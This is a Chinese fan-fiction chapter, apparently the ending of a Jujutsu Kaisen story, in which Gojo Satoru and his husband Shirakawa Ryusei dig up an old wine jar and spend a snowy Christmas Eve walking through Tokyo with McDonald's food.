家里的梅园今晚过后肯定七零八落,家主院子里那颗樱树倒是还好,因为不在花期,早就一副枯败的样子。 风雪绕过无下限保护的地方,五条悟站在樱树下,很有兴致地看着愚蠢的丈夫在距离树下五步的距离挖洞。 原本应该是七步的,但琉世说,这棵树长粗壮了太多。 “啊,果然。”白川琉世从深坑中掏出来一个罐子,粗看看不出材质,罐体裹满了泥土,他小心翼翼清理出封口的位置,反手一倒,只零落滴出来一点散发着酒气和土腥味的粘稠液体。 “琉世,真的要喝这种东西?会把你毒死吧。” “谁要喝啊,只是想起来了,挖出来看看。” 这罐酒在千年前,由他和三个朋友亲手埋下。朋友的意思是,等四人再次团聚时挖出来喝。 然而不会再有团聚的日子了,友人也知道,但还是埋下了这罐酒。 算是留给他自己的纪念吗? “emo了?”五条悟弯腰向坑底看去,“要不要我把老爹、忧太和华叫来?” “不要,不吃代餐。” 五条悟本来以为琉世会难过,没想到他只是挂着浅浅的微笑,默不作声把坑填回去。 “…难过?不会,不如说有点怅然,他们都是寿终正寝的,没什麽好难过的。”结界同样把风雪挡在白川琉世外面,“我和他们……和大家太不同了,没办法用大家那种程度的感情相互交往。” “但还是喜欢吧?” “还是喜欢的。” “我知道,这种感觉。” “当然了,你是五条悟。” 五条悟站在树下,笑容不像白川琉世记忆里那样张扬,而是安静平淡的。最近的日子,悟也会搞怪作弄人不正经,但安静的时候越来越多。 天边的月很美,但不是所有人都敢伸手触碰。 不再感到寂寞后,过度的伪装也不必要了,因为过于强大,流露出的神一样的姿态,通通被白川琉世全部承接,那样的话,展示自己原本的样子也没什麽。 五条悟:“明天是你生日吧,圣诞节,好占便宜的生日。” 白川琉世:“把它当成上天的征兆不就好了。” 五条悟:“想怎麽过?什麽愿望都能满足你哦。” 白川琉世:“去吃麦当劳。” 五条悟:“啊?能不能有点出息。” 白川琉世:“你也知道我的实际生存天数已经混乱了吧,这天只能算我的出生日期。” 五条悟:“你对这样的日子没什麽期待吗?” 白川琉世:“对啊,每天都很满足,如果有哪天能特别实现某个愿望,我也想不出要提什麽。” 五条悟:“……那你自己喝西北风去吧。” 白川琉世张开双臂,“不是啊悟,像往常那样就好了,比如给我个拥抱。” 丈夫却冷漠地后退几步,逃开了拥抱。 “诶?!” “不要,你手上全是泥。” * 最终年长的那个还是溺爱了一下,两人全副武装,在平安夜人流量巨大的麦当劳里点了餐。 五条悟穿着灰色大衣,戴上一顶米白色的毛线帽遮掩发色,眼罩也换成了不容易被认出来的墨镜。白川琉世戴上了一副原本属于五条悟的宽框墨镜,这样一来脸上的斑纹就遮住了。 在店里用餐一定会被认出来,取餐后,两人提着热腾腾的纸袋离开。“一会去哪呢?”五条悟询问对方。 “到处走走吧,在大雪中漫步也很浪漫啊。” 两人咯吱咯吱踩着雪向前,脚底却干干净净,是风雪中唯二没打伞的人。恶劣的天气抵挡不住大家过节的热情,街上的店铺粘贴了圣诞贴纸,门上挂了松枝花环,外面空地上有彩灯缠绕的圣诞树,一闪一闪,点亮街道。 白川琉世在纸袋里掏出小食塞进嘴里,又塞给对方一个。“家里忙起来了,没几天就是新年了,肯定有好多事要做。” “是啊,家里每年还要我祭拜你呢,今年你本人去吧。” “那个就免了吧,好羞耻play啊。” 手机提示音响起,白川琉世停住脚步,两人在人海茫茫的繁华街角一隅站立。 [绊子:提前祝你生日快乐,儿子。] 随后对话框发来一张图片,穿着运动风,鼻尖冻得通红的白川绊子,在类似港口的地方,身旁还有一柄长长的鱼竿。 [琉世:去干嘛了,钓鱼吗?] [绊子:没错,钓到了几条不错的鱼,冷链寄给你当做你的生日礼物啊。] [琉世:你送的生日礼物越来越奇怪了,妈妈,我也想要点心啊。] 悟生日的时候,妈妈叫他人肉快递过去了一盒手作点心,现在想想也挺眼馋的。 [绊子:新年的时候过来吃啊,你们几号来我这里?] “几号去我妈妈那里呢,悟?” “从3号开始有空,3号吧。”下巴从后面搁在丈夫肩膀上,五条悟看着屏幕上的内容,“绊子女士会给我做点心吗?” “一定会的,她超喜欢你。” “难得啊,性格还很豪爽,随便就同意把自己儿子嫁给我了。” “如果这麽理解的话,也没错。”白川琉世倒也确实入籍五条家了,“我妈思想很开放的,当初我爸就是入赘的,所以我跟妈妈姓。” “嗯?第一次听你说。” “因为很早就去世了,没什麽印象。”白川琉世打开妈妈的空间相册,找到多年前被存入的父亲的照片。 黑发,浅灰色眼睛,眉眼英俊,偏冷的长相,笑得却很温柔。 “原来你像父亲啊。” “是啊,如果遗传到妈妈的发色,我们就是一个色系了。” 没人觉得冷,但寒冬中贴近身体也是一种应景。白川琉世拆开薯条,边喂对方边自己吃,说着一些自己知道的父亲的事。 五条悟安静听着,大概因为父亲的事琉世也不太记得了,话题很快转到了小时候其他事情上。直到高专入学,琉世的情况他全部调查过,但只是一些概括性的数据。 他在耐心聆听那些填充白川琉世生命的细节。 说到有意思的地方,琉世会笑,并不像大多数日本人,先谨慎地勾起嘴角,再根据场合选择合适的笑容。琉世笑起来一直很干脆,洁白的牙齿和洋溢的快乐,总是一瞬间全部展露出来。 “啊,这不是……?!” 他们总是有些显眼的,五条悟看到街道上有人停了下来,拉着好友往这边辨认。不过路人也懂礼貌,克制了上前的冲动,街上越来越多的人假装做别的事,实际上在偷偷观察他们。 “白川哥也会这麽笑?真的假的?” 五条悟听到路人惊讶的声音,噗嗤笑出声,“喂,琉世,你ooc了。” “我笑一下有什麽奇怪的,是时候给他们脱敏了。” 白川琉世对着人群又开朗一笑,看到路人纷纷倒抽一口凉气。什麽啊,总不能因为工作的时候比较正经,就觉得他天生不爱笑吧。 “你有点傻,琉世。” “哎呀,拜托,超过12点就别骂我了,生日被骂会变笨。” “不仅傻还喜欢撒娇,真想让大家听到,拆穿你平时装模作样的嘴脸。” “Yada!” 说琉世撒娇还真说中了,五条悟心中一软,仿佛霜雪落入其中,缓缓融化。 而实际上,他被无下限分隔其中,凛冽的寒风,厚重的雪,通通在身外徒劳地扑打,无下限里是一片洁净、安宁、祥和。 “人越来越多了,走吧,你的薯条还吃吗?不要老是往我嘴里塞。”五条悟拉起今天格外幼稚的丈夫的手,缓缓沿着街道 向前。这麽一来,围观的人被甩掉了,他们咯吱咯吱踩着雪,悄然融入人流。 “你玩过雪景玻璃球吗?琉世。” 小时候圣诞节,五条悟收到过一个雪景玻璃球当做礼物,忘记是谁送的了,里面有小房子,拉雪橇的驯鹿和圣诞树。只要打开开关,音乐一响,房子、雪橇、驯鹿和圣诞树,全被暴风雪淹没,久久不能平静。 他在外面看着,伸手一触,也只能触到冰冷的外壳。 “玩过,景区经常有卖,小时候我也买过一个。” “现在这情形,好像身处被反转过的雪景玻璃球里。” 五条悟抬起手,簇簇雪花掉落在无下限上,马上融化成水,沿着看不见的阻碍流下。 “确实是这样哦。” “不仅是风和雪,那些乱七八糟的事也是一样,琉世,你那反转术式真的什麽都能做到啊。” 他开了个玩笑,白川琉世却没有当做玩笑附和,而是认真地说,“嗯,因为我是神,什麽都可以做到,我的反转术式也是什麽都能反转的超绝反转术式。” 五条悟自出生起带着耀眼光环的人生,除了遇到白川琉世,意外的没有其他波折。那些漫画里画满的故事,闯入所有人大脑里的记忆,一切的一切——整个世界,都叫嚣着故事应该如此走向。 但他对那些记忆没有实感。全日本人表现的仿佛他真的经历过一切,对他非常爱怜。在这之前,他是咒术界的最强,也是人生充实且繁忙的高专教师五条悟,然后?然后人生就平滑地落入反转的雪景玻璃球中,一切伤害都在“壳”外呼啸而过。 “真是超绝反转术式啊,我承认了。”他少见的没有反驳对方。 “毕竟我是神嘛。” 五条悟捏着嗓子叫了他几声“黄泉津sama”,却被随便开口自称神的家夥制止了,“还是叫琉世比较习惯吧。” “琉世,你的自我认同是不是有点别扭?” “诶?没有,身为黄泉津的白川琉世,一直没变过哦。” 这是东京繁华地带的街道,尽管天气恶劣,出来玩乐的人依旧不少,两人牵着手,在各色雨伞中穿过。 在大雪中漫步也很浪漫,这句话似乎得到了印证,反正两人一时半会没有停下的意思。风雪喧嚣、步履踏过,闪烁的霓虹和繁忙的街景被留在原地,聊天的笑闹声却渐渐遥远。 今天是很幸福、平常的一天,当然,明天也依旧如此。 --全文完--【你现在阅读的是 】